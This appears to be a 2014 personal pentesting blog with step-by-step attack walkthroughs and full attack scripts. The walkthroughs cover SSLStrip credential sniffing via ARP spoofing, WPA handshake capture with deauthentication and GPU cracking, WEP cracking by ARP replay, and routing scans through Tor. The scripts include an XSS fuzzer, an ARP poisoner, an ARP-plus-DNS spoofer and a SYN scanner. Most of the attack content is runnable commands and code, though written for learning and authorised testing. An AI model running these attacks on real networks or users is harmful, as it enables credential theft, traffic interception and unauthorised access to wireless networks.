Monday 28 April 2014

Sniffing encrypted SSL credentials with SSLStrip

I lot of people will tell you that there site is secure because they are using SSL. I see it pasted all over companies websites ensuring customers they are following the strictest security practises because they are using SSL. Aside from all of those people having recently been smacked in the face with an elephant size spanner courtesy of the recent SSL heartbleed vulnerability, all SSL really does is encrypt traffic to and from the site. This does nothing to protect the rest of the website. That is another subject all together though.

How can we sniff encrypted traffic?
If SSL encrypts the users traffic then how can we still sniff out the credentials? We will not actually be sniffing encrypted traffic. Due to the way SSL has been built it is possible for us to retrieve any connections destined for SSL and simply strip away the SSL layer.Building a secure protocol on top of an insecure protocol was not a good idea. When a user goes to an SSL enabled site they do not know it is SSL enabled. The browser sends the request via port 80. When the server sees the request it re-directs the user to port 443. Our job as the attacker is to sit in the middle and catch any requests that go to port 80 and come back as 443. When we capture the SSL packet on its way back from the server we strip out the SSL layer and send the normal http traffic to the victim. As they enter credentials and send them to the server we simply put the SSL layer back on and send it back to the server. So we are not actually sniffing "encrypted" traffic, but simple passing the packet inbetween us and server and alternating the data to be clear text to and from the victim.

Getting started
The tools I will be using for this attack are:
SSLStrip
ARPSpoof
IPTables
Ettercap

All of these tools come pre-loaded with Kali and Backtrack.

SSLStrip is where all of the core SSL magic happens. SSLStrip was created by Moxie Marlinspike and first demonstrated at Black Hat 2009. His original talk can be found at:
ARPSpoof is used to create the man in the middle attack by poisoning the victims arp-cache
IPTables are used to redirect any web traffic to port 8080. (SSLStrip will be running on port 8080)
Ettercap will be used to log any user credentials as they pass through. 

The Attack
First thing we need to do is enable routing on our PC. Without this our arp-poison will not work as incoming traffic cannot be routed back out to the internet and vice versa. Enable routing with the command:
sysctl -w net.ipv4.ip_forward=1

Next we need to position ourself in between the victim and the gateway. Do this with the command:
sudo arpspoof -i eth0 -t 192.168.1.7 192.168.1.254
Replace eth0 with your interface and the target and gateway IP with your victim and gateway.


Start SSLStrip listening on port 8080:
sudo sslstrip -k -l 8080


Now we need to listen for any traffic destined for port 80 and redirect it to SSLStrip running on port 8080. Use the command:
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Everything should be routing and forwarding as expected. The last thing we need to do to make life easier is run Ettercap to automatically extract any credentials that pass through:
ettercap -T -q -i eth0



The Results

CHROME
Interesting to note is that the first few connections to facebook with chrome seemed to work fine and then google figures out that there is some trickery going on and blocks the connection:




FireFox
Firefox also worked flawless the first couple of time and the figured out something was not right and would not let me continue:


Internet explorer
No real suprises here. IE didnt seem to care at all and just gave us a small warning that the ssl cert may be invalid. Nice how they also include two green ticks stating the certificate is valid. I could click past and sign into facebook.




Ettercap caught this login and displayed it clear text for us:




This tool takes some setting up and may not work correctly without some playing around which might compromise a pentest and alert the victim. To increase your hit rate you should probably get it setup and working correctly before the victim logs into the network. 



Saturday 26 April 2014

Cracking WPA & WPA2

Unlike WEP cracking there is no 100% guarantee that you will successfully hack a WPA key. Hacking WPA requires patience, dedication, a good password list and a bit of luck. A successful WPA hack is reliant on the access point having a weak password. By weak password I mean dictionary words, common words with numbers appended, variations on dictionary words like h$mburgerz. The good news is that there is no difference in cracking both WPA and WPA2. As well as having a strong password list you also need the "4-way handshake" or at least some of it from the access point. The only way to obtain this handshake is to sniff it out when a client connects to the access-point.

What is the 4-way handshake? 
The 4-way handshake is the way in which a client can authenticate with the access point without revealing the key and without having to re-transmit the key after successful authentication. The process itself is very complex and the details are out of scope for this post. All you need to know when cracking WPA is that you require at least 2 parts of the 4-way handshake. This diagram shows the process and the details of each phase are explained on:


You will require a good password list. The list I will be using contains 185million passwords and can be downloaded from:
http://www.seedpeer.me/details/6028904/Custom-WPA-wordlist.html
There is also a 13GB wordlist containing almost 1 Billion passwords optimized for WPA that can be downloaded from:
http://www.proxybay.pw/torrent/5945498/WPA-PSK_WORDLIST_3_Final_(13_GB).rar

The software I will be using is the aircrack suit and pyrit. If you are running Backtrack or Kali Linux these come pre-installed, otherwise can be downloaded from:
http://www.aircrack-ng.org/
https://code.google.com/p/pyrit/

Capture the handshake

First step is to put your wireless interface in monitor mode. This can be achieved with the command:
sudo airmon-ng start wlan0
Replace wlan0 with your wireless interface. This will create a new interface in ifconfig called mon0.

Next start sniffing the airwaves and saving captured packets to an output file with the command:
sudo airodump-ng mon0 --write output

In order to obtain the needed 4-way handshake you can either wait for a client to connect or the much faster method is to kick an already authenticated client off the network and wait for them to re-connect. In this case I will be attacking the AP "00:04:ED:B1:02:DA"(super_happy_fun_slide) as there is already an authenticated client "00:22:43:22:23:8F" on this network.



How do we kick them off if we are not on the network? To disconnect a client we send the access point a special packet called a "de-auth". This stands for deauthentication packet and is used in wireless networks when a client wishes to disconnect. In our case we send a deauth to the AP and either choose the client to deauth or we can deauth all clients that are connected. A Few seconds later the clients auto connect kicks in and re-authenticates them. This is where we ninja the handshake required.

Make sure your airodump is still running and writing out the packets. To de-auth a single client run this command:
sudo aireplay-ng -0 1 -a 00:04:ED:B1:02:DA -c 00:22:43:22:23:8F mon0

To deauth all connect clients leave out the -c option:
sudo aireplay-ng -0 1 -a 00:04:ED:B1:02:DA mon0

Note in some versions of aircrack you may need to append --ignore-negative-one to the end of the command. Also to note is that in some cases a single de-auth may not work. You can send an unlimited amount by replaceing the 1 with  a higher number or use 0 to send unlimited de-auths like so:
sudo aireplay-ng -0 0 -a 00:04:ED:B1:02:DA -c 00:22:43:22:23:8F mon0 --ignore-negative-one

Taken from the aircrack website these command options are:
  • -0 means deauthentication
  • 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
  • -a 00:14:6C:7E:40:80 is the MAC address of the access point
  • -c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated
  • mon0 is the interface name
In my case I needed to send 5 de-auths to receive a reply:


We see the de-auth received a reply so now we can check airodump for the handshake:


As you can see in the top right corner we can see the line:
WPA handshake: 00:04:ED:B1:02:DA

Cracking the key
Now that we have the handshake we can begin cracking it. The first thing I like to do is check that the handshake is actually valid and good to perform an attack with. Pyrit can do this with the command:
pyrit -r output-02.cap analyze
Note: Airodump appends -01.cap to the end of you filenames. If you have the same filename in your directory you are outputting to then it will increment the number to be -02.cap and so on. In my cause I already had output-01.cap in my directory hence the name output-02.cap.


As you can see out capture file has 1 valid handshake from the AP we de-authed. The reason I like to use pyrit to crack keys is that is supports GPU processing. This means we can go from 1000 password attempts a second to around 100,000 with a decent GPU. In my case I am using a Radeon 5870. It takes a bit of playing around to get pyrit working with your GPU but for ATI cards the OpenCL drivers should work and for NVIDIA the CUDA drivers should work. Run a pyrit benchmark with the command:

pyrit benchmark


As you can see, all 4 of my CPU cores pull about 500 a second and my GPU computes a massive 80,000 a second. I have pushed this up to 95,000 before by closing all running programs. 

There are two options to cracking with a wordlist with pyrit. The first is to simply run the handshake through the wordlist. For each word pyrit needs to calculate what is called the Pairwise Master Key or PMK. This is fine if you have a unique access point name like Super happy fun slide. By say you have a generic name like netgear. You can pre-compute all of these PMKs and put them in a database so you dont have to pre-compute them for the next netgear you crack. In the past I have computed 900,000,000 passwords and it took about 4 - 5 hours. Once they where in the DB it took about 5 minutes to get through all of them. That is an excellent time payoff if there are a lot of APs with the same name in your area. I might cover pre-computing the PMKs into a DB in a later post. 

Start the cracking process with the command:

pyrit -r output-02.cap -i Custom-WPA attack_passthrough

-r = your file containing the handshake
-i = input file. AKA the wordlist
attack_passthrough = compute pmks on the fly directly from the wordlist and dont use a database.

One thing to note is that if you have multiple handshakes in the one file pyrit will ask you which one to you wish to crack. You can also specify an access point manually with the command:
pyrit -r output-02.cap -i Custom-WPA  -b 00:04:ed:b1:02:da attack_passthrough





Friday 25 April 2014

Vulnerability scanning with OpenVas

OpenVas is a free open source vulnerability scanner. It covers various network vulnerability tests and is maintained on a daily basis. It can be installed on Windows and all flavors of Linux. This post will go through the setup on Linux and full scan of a vulnerable windows target.

OpenVas comes pre-installed on Kali linux. It can be manually downloaded from:
http://www.openvas.org/download.html

Before starting OpenVas it is necessary to run the setup first. This will create the database and prompt you to create login details. Do not forget these details. If you do however forget your login you can create a new admin user with the command sudo openvasad -c add_user -u administrator -r Admin.  To begin the setup run the command:
sudo openvas-setup


Note, this process may take a while. After the setup has complete it is a good idea to run the setup check as an extra precaution. Run the check with the command:
sudo openvas-check-setup


If all went well you should have a screen like the one above. Note this line:
OK: Greenbone Security Assistant is listening on port 9392, which is the default port.

Now we can go to our web browser and go to the url:
https://127.0.0.1:9392
You will be warned of an untrusted SSL certificate. This is only because OpenVas is using its own self-signed certificate. You should be presented with this login prompt:

Login with your credentials you created during the setup. Once you are logged in go to the administration tab and update your NVT, SCAP and CERT feed. This may take a very long time depending on how long it was since the last update.
NVT: Network Vulnerability Test
SCAP: Security Content Automation Protocol
CERT: Computer Emergency Response Team



Once that has completed you are ready to add your targets for scanning. Navigate to Configuration, targets. Once in the targets panel click on the star icon to add a new target:

Enter the IP address and any details of the host you wish to scan. Set the port options to your desired port range. In this case I will be scanning all TCP ports as assigned by IANA. You can also add a list of IPs located in an external file.


Once you have created your target click "Create Target". Now we need to create a task and add this target to it. Go to Scan management and click New Task. This where you set your desired type of scan. The first option "Full and Fast" is the fastest of them all. The scans take longer for each type of scan with "Full and very deep ultimate" taking the longest. For now I am just setting it at the Full and Fast. Under targets, add your target you created earlier. You have the option of adding any observers to the scan as well. This would be any user you want to let view the scan remotely.


Once the task has been created, it will be listed in the home page of OpenVas. Start the scan by clicking the play button to the left of your task.


You may need to refresh the browser to see the progress of the scan. While the scan is running you can view the results in real time by clicking the magnifying glass icon.

The box I am scanning is a Windows XP SP2 system running on Virtual Box. It is running xamp with apache and mysql enabled.

Scan Results


This scan took around half an hour to complete. Results can be printed to various outputs including pdf, html, xml etc... Very useful for giving reports to clients.
As well as printing the results you are also given advise on how to fix the issues like the one below.



After this scan I re-ran the scan using the Full and very deep ultimate setting. The scan took around and hour and half and found 1 more vulnerability bringing the total up to 7. This goes to show how taking the extra time can mean the difference between a successful compromise and an unsuccessful one.






Thursday 24 April 2014

Speeding up WEP cracking using arp-replay attack

WEP cracking works by sniffing out encrypted data packets that contain what is called "initialization vectors". These IVs are used to randomize the RC4 cipher that is used to encrypt the WEP key. The flaw lies in the size of the IV. The IV required to reveal the RC4 cipher is only 24 bits long. With enough IVs flying around the air it is possible to gather enough of them to decode the WEP key. At least that is my understanding of it. More information on how WEP works can be found at:

The key to cracking WEP is gathering a lot of IV packets. If there are authenticated users browsing the web or generating a lot of data then it usually only a matter of minutes or even seconds before you have enough. Generally 5,000 or more packets are enough to break a key. The problem that one may face when hacking a WEP key is that there is no activity on the network. You may receive 1 or 2 packets here and there and at that speed it may take days of sniffing to gather enough needed to break the key.

How can we generate more packets without being authenticated? The answer lies in the trusty ARP protocol. ARP is required on ethernet networks to know what interface to send the packet out of and what interface on the other end should receive it. Say you need to send data to 192.168.1.1. You need to hardware address of the network card at the destination(Also called MAC address). If you do not have that address in your arp-cache then your computer sends out a broadcast request for it. The packet looks like "who has 192.168.1.1?, tell 66:55:44:33:22:11:00" and 192.168.1.1 replies with "192.168.1.1 is at 00:11:22:33:44:55:66". so now you can create your packet and send it to 00:11:22:33:44:55:66. the network card at the other end knows its for him and processes it.

Addresses in your arp-cache expire if they are not used for a certain time. ARP requests are also the same size. Knowing the size of an arp request we can listen for any that my fly through the air even if they are encrypted. If we see a packet that could be a request we simply catch it and repeatedly send it to the access point. For every request we send, the AP will be sending back its reply. These ARP replies contain the needed IVs to crack the key. Hence the name "Arp-replay attack". Replay the same request over and over.

Before you can sniff packets that are not destined for you, you need to put your network card in monitor mode. Most cards i have used can do this but I prefer using the Alpha Neworks - AWUS036H
http://www.alfa.com.tw/products_show.php?pc=34&ps=92
This card is powerful and can be turned up to cover large areas. It does not support Wireless-N though so it may be time for an upgrade.

To put your card in monitor mode issue the command:
sudo ifconfig
This will show your network cards. The one you want is your wireless card. In my case it is "wlan0". Yours may be named differently. Next you need to put it in monitor mode with the command:
sudo airmon-ng start wlan0

Your card is now in monitor mode and you will have a new card in your ifconfig called mon0. This is the interface we will be using to sniff on. 


This is where the fun begins. Run the command:
sudo airodump-ng mon0 --write output

This will list information on all the Access Points around your location and what their hardware addresses are(BSSIDS), what encryption they are using and so on. We are also writing out all the gathered packets to a file called "output" Under the Station menu. you can see authenticated users and what AP they are connected to. We will need this information when launching our attack. Also take note of the Data tab. 


If you have enough data packets from a WEP network (10,000 or so) you can start cracking it immediatly by using the command:
aircrack-ng output-01.cap

You can see in the above screenshot, the AP "Test_Wifi_No_Internet" has an authenticated station "00:22:43:22:23:8F" and has generated 117 data packets. These packets are being saved to our output file we specified with the --write command.

If the data packets are trickling in and there is an authenticated station you can launch the replay attack to speed it up.
Leave this running and gather both the associated station "00:22:43:22:23:8F" and the BSSID of the AP "00:04:ED:B1:02:DA". Issue the command:
sudo aireplay-ng -3 -b 00:04:ED:B1:02:DA -h 00:22:43:22:23:8F mon0
Note: some versions of the aircrack suite have a bug that requies the --ignore-negative-one command to be appended. Also to note the -3 is used to specify the attack type and can be replaced with --arpreplay. In that case the command would look like:
sudo aireplay-ng --arpreplay -b 00:04:ED:B1:02:DA -h 00:22:43:22:23:8F mon0 --ignore-negative-one


Now you simply wait for the arp-replay to catch a request. This may take a few minutes but as soon as a station sends a request, arp-replay will take off and begin generating 1000s of data packets a minute. I have gathered over 1 million packets in a few minutes using this attack. When you have over 5000 or 10000 packets leave both tools running and start trying to crack the key. if it does not work the first time, wait for 20,000 packets and so on. 
 

Crack the key using the command:
aircrack-ng output-01.cap

If you have not filtered your airodump command you may have to choose a network from a list. In a few minutes or seconds you will have cracked the key. In this case it only took 7127 IVs.








Wednesday 23 April 2014

Anonymizing yourself with Proxychains and TOR

Today I watched an excellent talk by Adrian Crenshaw on darknets and how they can be used to protect your privacy as well as leak information if not used correctly. The talk can be found at: http://www.youtube.com/watch?v=F3taxVjKCdY

I decided to learn how to use the TOR network to protect my privacy as well as run automated scans through the tor network. The first two things you need are Tor and Proxychains. I  believe these come pre-installed on Kali Linux but can be manually downloaded using the command "sudo apt-get install tor proxychains" if they are not already installed. 

The next step is to configure proxychains to use the tor network:
cd to /etc
open proxychains.conf in a text editor. Note you will have to open this as root. 
Uncomment the "dynamic chain" line and comment out the "strict chain" line. This will skip over any dead proxies along the way and continue until an online proxy is found. You also want to ensure proxy_dns is uncommented. This stops DNS leaks as explained in Adrians talk linked above.

 
Next you want to scroll right to the bottom of the file and add these lines:
socks4  127.0.0.1 9050
socks5 127.0.0.1 9050
localnet 127.0.0.1 000 255.255.255.255





This tells the chains to listen on your local ip and forward all traffic through port 9050 on socks4 and 5. (Tor port)
The localnet line tells the chains to ignore any connections connecting to your local host. This is required for things like connecting to local databases etc.

Save your config file and exit. The next step is to start the tor service with the command "sudo service tor start"

That is basically it. TOR is running in the background and proxychains can be called with any command to pipe it through tor. When you run any command with proxychains you should see a list output of the packets being sent through the chains. 

Example opening firefox and checking external IP:
proxychains firefox www.ipchicken.com



One last check should be to ensure there are no DNS leaks. This can be acheived by either monitoring wireshark for packets going to port 53 or simply going to http://dnsleaktest.com/ The IP should be the same as for your IP Chicken address. 


Most commands can be run through proxychains. 
Examples:
sudo proxychains nmap -sS <website>
sudo proxychains msfconsole
proxychains sqlmap -u <website>

In everycase you should always see the output of the chains as your packets leave your network. If you do not see this you are not using the TOR network.


Tuesday 22 April 2014

Automated XSS

I created this tool for locating XSS vulnerabilities in specific fields on a webpage. It uses the python module "mechanize". What this module does is allow you browse webpages programmatically. This comes in useful for creating web spiders, brute force tools, spam-bots or anything requiring repetitive browser use. In this case I have created a tool to strip out any web forms on a specified page and automate an XSS attack on a chosen field. It works by imputing a string in an external file to a specified field. It then reads the response and checks the code for that string. This enables us to see if the input is being sanitized or filtered. If it find unsanitized input it outputs the string and the tested field to a file. This tool is buggy as it does not implement very good error handling but it helped me find XSS vulns on the securitytube.net challenges pages.

I have also added tor support to learn how to implement proxy support in future tools. If no tor proxy is defined when run it will not use tor. 

#!/usr/bin/python

import sys
import mechanize
import socks
import socket
import urllib
import re

def torProxy(torIP):
tor = torIP.split(":")
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, tor[0], int(tor[1]))
socket.socket = socks.socksocket
print "\nConnecting to TOR proxy: " + torIP
print "Using TOR address: " + get_external_ip()

def get_external_ip():
    site = urllib.urlopen("http://checkip.dyndns.org/").read()
    grab = re.findall('\d{2,3}.\d{2,3}.\d{2,3}.\d{2,3}', site)
    address = grab[0]
    return address



def printforms():
print"""
###################################################
###################################################
Available Forms
###################################################
###################################################
"""
for form in br.forms():
print form

def beginAttack(form_no, form_field):
file = open("XSS_RESULTS", "a")
file.write("\n*************************************\n" + sys.argv[2] + "\n*************************************\n")
for line in attacks:
try:
print "Trying :" + line
br.select_form(nr=form_no)
br.form[form_field] = line
br.submit()
if not line in br.response().read():
continue
else:
xssFound(line, file, form_no)
except:
print"XXXXXXXXX Some kind of crash! XXXXXXXXXXXXX"
xssFound(line, file, form_no)
return
file.close()

def xssFound(line, file, form_no):
file.write("Form no: " + str(form_no) + "\n")
file.write("Form field: " + form_field + "\n")
file.write("XSS: " + line + "\n")
return

global attacks 
attacks = [] #List to hold imported attacks

try:  
torIP = sys.argv[3]
torProxy(torIP)
except:
print "Unable to connect to TOR"
pass

try:
print "\nImporting attacks from : " + sys.argv[1]
for line in open(sys.argv[1], "r").readlines():
attacks.append(line.strip())
print "Import Successfull"
except:
print "\nUsage: XSS <file> <url> <127.0.0.1:9150>(optional)\n"
sys.exit()

#Initialize the Browser object and open the url
try:
br = mechanize.Browser()
br.open(sys.argv[2])
except:
print "Usage: XSS <importFile> <url>"
sys.exit()



printforms()

print "\nSelect the form number (starting from 0) and the field in brackets without the equals sign."
form_no = int(raw_input("Form number: "))
form_field = raw_input("Form field: ")

beginAttack(form_no, form_field)

print "Attack Complete"


Output:



HTTP Banner grab

Simple http banner grab tool using raw sockets. I created this because I am always forgetting the command to get the HTTP banner once connected. I used to use netcat to banner grab.

#!/usr/bin/python

import sys #For errors
import socket

host = sys.argv[1]
port = 80

print"Creating Socket"

try:
tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Set the socket to be re-used.
tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except socket.error, msg:
print "Failed to create socket. Error: " + str(msg[0])  + " , Error message " + str(msg[1])
sys.exit()

print "Socket created"

try:
remote_ip = socket.gethostbyname(host)
except socket.gaierror:
#Could not resolve
print "Host name could not be resolved. Exiting..."
sys.exit()

print "IP address of " + host + " is " + remote_ip + " \n\n"

#Banner grab command
data = "HEAD / HTTP/1.1\n\n"


#Connect to IP
tcpSocket.connect((host, port))

try:
tcpSocket.sendall(data)
except socket.error:
print "Failed to retrieve HTTP information"
sys.exit()

reply = tcpSocket.recv(4096)
print reply

print"\nSuccessfully received HTTP HEADER information"
tcpSocket.close()

Output:
Quite a lot of info in that one...

DNS Poison

This tool is a copy paste of my arp-cache poisoner with an additional function to poison DNS. Any request made to port 53 is sent to 192.168.1.2. Yes its hard-coded because it was a poc to further develop my understanding of DNS and also learn how to create child processes(forks) to split tasks up. This also automatically enables port forwarding as I forgot to implement that in my original arp poison tool. The arp cache does its magic in a different process to the dns sniffer.

#!/usr/bin/python

from scapy.all import *
import sys
import netifaces as nif
import netifaces
import signal
import os

def arpPoison(victimIP, targetIP, victimMAC, targetMAC, localMAC):

# print "We in the PID of the parent: %d"%os.getpid()
os.system('sysctl -w net.ipv4.ip_forward=1')
print "IP Forwarding enabled"

#Send the packet to the victims mac. The source of the MAC is the GW address. In the ARP field the MAC of the GW IP address is our MAC.
#additionaly we set the op to an "is-at" packet
victimARP = Ether(dst = victimMAC, src = targetMAC)/ARP(op = "is-at", hwsrc = localMAC, psrc = targetIP)

#Now we want the GW to think we are the victim.
#We send the packet the to GW/TARGET the source is from the Victim. We say the MAC of the Victim is our MAC
targetARP = Ether(dst = targetMAC, src = victimMAC)/ARP(op = "is-at", hwsrc = localMAC, psrc = victimIP)

print "\nForwarding target: %s to  MAC %s"%(targetIP, localMAC)
print "Forwarding target: %s to MAC %s"%(victimIP, localMAC)

while running:
sendp(victimARP, verbose = 0, inter = 1)
sendp(targetARP, verbose = 0, inter = 1)
signal.signal(signal.SIGINT, ctrlc_handler)

def arpRestore(victimIP, targetIP, victimMAC, targetMAC):

# print "We are in process %d"%os.getpid()
victimARP = Ether(dst = victimMAC, src = targetMAC)/ARP(op = "is-at", hwsrc = targetMAC, psrc = targetIP)
targetARP = Ether(dst = targetMAC, src = victimMAC)/ARP(op = "is-at", hwsrc = victimMAC, psrc = victimIP)
print "\nRestoring arp caches..."

for i in range(1, 5):
sendp(victimARP, inter = 0.5)
sendp(targetARP, verbose = 0, inter = 0.5)

os.system('sysctl -w net.ipv4.ip_forward=0')
print "IP forwarding disabled"
print "Exiting..."
sys.exit()

def dnsPoison(pkt):
# print "We are in PID of the child %d"%os.getpid()
if (pkt.haslayer(DNS)) and (pkt.getlayer(DNS).qr == 0) and (pkt[IP].src == victimIP):
ip = pkt.getlayer(IP)
dns = pkt.getlayer(DNS)
ip.src = pkt[IP].src
ip.dst = pkt[IP].dst
ip.sport = pkt[UDP].sport
ip.dport = pkt[UDP].dport
queryname = dns.qd.qname
resp = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=queryname,ttl=10,rdata='192.168.1.2'))
send(resp, verbose=0)
print pkt.summary()

def ctrlc_handler(signum, frm):
running = False
arpRestore(victimIP, targetIP, victimMAC, targetMAC)

#########################################
###########Program Start!################
#########################################
try:
victimIP = sys.argv[1]
targetIP = sys.argv[2]
# url = sys.argv[3]
interface = sys.argv[3]

victimMAC = getmacbyip(victimIP)
targetMAC = getmacbyip(targetIP)

addrs = netifaces.ifaddresses(interface)
localMAC = addrs[nif.AF_LINK][0]["addr"]
except:
print "\nUsage: arp_dns_poison <victim-ip> <target-ip> <interface>\n"
print "Example: arp_dns_poison 192.168.1.1 192.168.1.254 eth0\n"

running = True

childPID = os.fork()
if childPID == 0:
sniff(iface = interface, filter = "udp and port 53", prn = dnsPoison)
else:
arpPoison(victimIP, targetIP, victimMAC, targetMAC, localMAC)

ARP Cache Poison with Scapy

This tool was definitely one of the more fun tools to create. Figuring out how to construct the packets and seeing the arp-cache tables change on the victims was really cool. Added some extra ninja by adding a signal handler to restore the victims arp cache when the user quits by pressing ctrl-c.

#!/usr/bin/python

from scapy.all import *
import sys
import netifaces as nif
import netifaces
import signal

#This needs to run as root.
#Usage: arp_poison <victim-ip> <target-ip> <interface>

def arpPoison(victimIP, targetIP, victimMAC, targetMAC, localMAC):
#Send the packet to the victims mac. The source of the MAC is the GW address. In the ARP field the MAC of the GW IP address is our MAC.
#additionaly we set the op to an "is-at" packet
victimARP = Ether(dst = victimMAC, src = targetMAC)/ARP(op = "is-at", hwsrc = localMAC, psrc = targetIP)

#Now we want the GW to think we are the victim.
#Send the packet to GW/TARGET the source is from the Victim. We say the MAC of the Victim is our MAC
targetARP = Ether(dst = targetMAC, src = victimMAC)/ARP(op = "is-at", hwsrc = localMAC, psrc = victimIP)

print "\nForwarding target: %s to  MAC %s"%(targetIP, localMAC)
print "Forwarding target: %s to MAC %s"%(victimIP, localMAC)

while running:
sendp(victimARP, verbose = 0, inter = 1)
sendp(targetARP, verbose = 0, inter = 1)
signal.signal(signal.SIGINT, ctrlc_handler)

def arpRestore(victimIP, targetIP, victimMAC, targetMAC):
#Reset the arp cache for added Ninja
victimARP = Ether(dst = victimMAC, src = targetMAC)/ARP(op = "is-at", hwsrc = targetMAC, psrc = targetIP)
targetARP = Ether(dst = targetMAC, src = victimMAC)/ARP(op = "is-at", hwsrc = victimMAC, psrc = victimIP)
print "\nRestoring arp caches..."

for i in range(1, 10):
sendp(victimARP, inter = 0.5)
sendp(targetARP, verbose = 0, inter = 0.5)
print "Exiting..."
sys.exit()

def ctrlc_handler(signum, frm):
#Kill the arpPoison and call the arpRestore function
running = False
arpRestore(victimIP, targetIP, victimMAC, targetMAC)

#########################################
###########Program Start!################
#########################################
try:
victimIP = sys.argv[1]
targetIP = sys.argv[2]
interface = sys.argv[3]

victimMAC = getmacbyip(victimIP)
targetMAC = getmacbyip(targetIP)

addrs = netifaces.ifaddresses(interface)
localMAC = addrs[nif.AF_LINK][0]["addr"]
except:
print "\nUsage: arp_poison <victim-ip> <target-ip> <interface>\n"

running = True
arpPoison(victimIP, targetIP, victimMAC, targetMAC, localMAC)



Output:

Victims before and after arp-cache:

Multi threaded Port Scanner with Scapy

Writing this tool forced me to learn about queues, threads and thread-locks. As well as introduced a python module called Scapy. After using Scapy it immediately became clear the power this module has. Instead of manually crafting raw packets I can just use Scapy to fill in the packet segments I need and let the default settings do the rest. This module opened up a lot of new doors for me and I can now script tools I previously only dreamed of being able to create. The port scanner does have some bugs but for internal networks it seems to do the job as intended. As this is only a poc I do not see the need in fixing all the bugs and making it absolutely perfect. Other tools like nmap have been created for that. This tool works by grabbing a user supplied port range and adding them into a queue. The queue is then passed into 10 separate threads. If a SynAck is received from the server an RST is sent back and the port marked as open. This adds a little bit of stealth.


#!/usr/bin/python

import Queue
import sys
import threading
from scapy.all import *

class workerThread(threading.Thread):
def __init__(self, queue, destIP, lock):
threading.Thread.__init__(self)
self.queue = queue
self.destIP = destIP
self.lock = lock

def run(self):
while True:
self.lock.acquire()
self.dport = self.queue.get() #Grab the port not from the queue
reply = sr1(IP(dst = self.destIP)/TCP(sport = RandShort(), dport = self.dport), verbose = 0, timeout = 1)
if reply == "<type 'NoneType'>":
print str(sport) + " is filtered"
elif reply.haslayer(TCP) and reply.getlayer(TCP).flags == 0x12:
print "Port open: " + str(reply.sport) + reply.sprintf(" %TCP.sport%")
send_rst = sr(IP(dst = self.destIP)/TCP(dport = reply.sport, sport = RandShort(), flags = "R"), verbose = 0, timeout = 1)
self.queue.task_done()
self.lock.release()

try:
destIP = sys.argv[1]
portRange = sys.argv[2].split("-")
startPort = int(portRange[0])
endPort =  int(portRange[1])

queue = Queue.Queue()

#Fill the queue
for q in range(startPort, endPort+1):
queue.put(q)


#create the threads and pass them the queue
for port in range(10):
lock = threading.Lock()
worker = workerThread(queue, destIP, lock)
worker.setDaemon(True)
print "Creating thread ",port + 1
worker.start()

#Wait for all queues to and threads to finish
queue.join()
print "\nScan complete\n"

except:
print "Usage: synScannerMultiThread <ip-address> <startport-endport>"



Output scanning a range of 1 - 1024:


The scan took around 15 seconds to scan all 1024 ports.

Packet Sniffer using Raw Sockets

Simple Packet Sniffer using raw sockets in python. Writing this tool filled some gaps in my TCP knowledge and forced me to analyse each part of the TCP packet. Python inludes a module called "struct" that lets you rip apart packets and strip them down bit by bit. Note, this only sniffs for TCP traffic. The packets can be filtered by port.
Info on struct can be found at: https://docs.python.org/2.7/library/struct.html


#!/usr/bin/python

import struct
import socket
import binascii
import sys
import signal


rawSock = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))

def packetFilter(filter):
while True:
pkt = rawSock.recvfrom(2048)

#Extract the 14bytes ethernet header and strip out the DstMAC, SrcMac and ethType
ether_head = pkt[0][0:14]
eth_hd = struct.unpack("!6s6s2s", ether_head) #Split with Big Endian format the 6byte MACs and the 2Byte ethType

srcMac = binascii.hexlify(eth_hd[0])
dstMac = binascii.hexlify(eth_hd[1])
ethType = binascii.hexlify(eth_hd[2])

#Extract the IP Header Field
ip_head = pkt[0][14:34]
ip_head_unpacked = struct.unpack("!1s1s1H1H2s1B1B2s4s4s", ip_head)#Rip out all the fields in the IP

ver_head_length = binascii.hexlify(ip_head_unpacked[0])
service_field = binascii.hexlify(ip_head_unpacked[1])
total_length = str(ip_head_unpacked[2])
identification = str(ip_head_unpacked[3])
flag_frag = binascii.hexlify(ip_head_unpacked[4])
ttl = str(ip_head_unpacked[5])
protocol = str(ip_head_unpacked[6])
checkSum = binascii.hexlify(ip_head_unpacked[7])
src_ip = socket.inet_ntoa(ip_head_unpacked[8])
dst_ip = socket.inet_ntoa(ip_head_unpacked[9])

#Extract the TCP Header
tcpHeader = pkt[0][34:54]
tcp_hdr = struct.unpack("!HHII2sH2sH", tcpHeader)

dst_port = str(tcp_hdr[0])
src_port = str(tcp_hdr[1])
seq_no = str(tcp_hdr[2])
ack_no = str(tcp_hdr[3])
head_length_6_point = binascii.hexlify(tcp_hdr[4])
window_size = str(tcp_hdr[5])
checksum = binascii.hexlify(tcp_hdr[6])
urgent_pointer = str(tcp_hdr[7])
data = pkt[0][54:]


def printScreen():
#print"**************************************************"
#print"**************************************************"
print "\nEthernet Header"
print "Source MAC: ",srcMac
print "Destination MAC: ",dstMac
print "Ethernet Type: ",ethType

print "\nIP Header"
print "Version and head length: ",ver_head_length
print "Service Field: ",service_field
print "Total length: ",total_length
print "Identification: ",identification
print "Flag and fragment offset: ",flag_frag
print "Time to live: ",ttl
print "Protocol: ",protocol
print "Checksum: ",checkSum
print "Source IP: ",src_ip
print "Destination IP: ",dst_ip

print "\nTCP Header"
print "Source Port Number: ",src_port            
print "Destination Port Number: ",dst_port              
print "Sequence Number: ",seq_no          
print "Acknowledgment Number: ",ack_no
print "Header Length Reserved and Six Pointers: ",head_length_6_point
print "Window size: ",window_size
print "Checksum: ",checksum
print "Urgent Pointer: ",urgent_pointer
print "Data: ",data
#print "*************************************************"
#print"**************************************************"

if dst_port == filter:
printScreen()
elif filter == "":
printScreen()


filter = raw_input("Please specify a port number to listen on(Default is all): ")

#Start the show :)
packetFilter(filter)




Output:


When filtering a telnet session you can clearly see the clear text commands and even entire screen grabs at times.:

Python For Pentesters Coarse

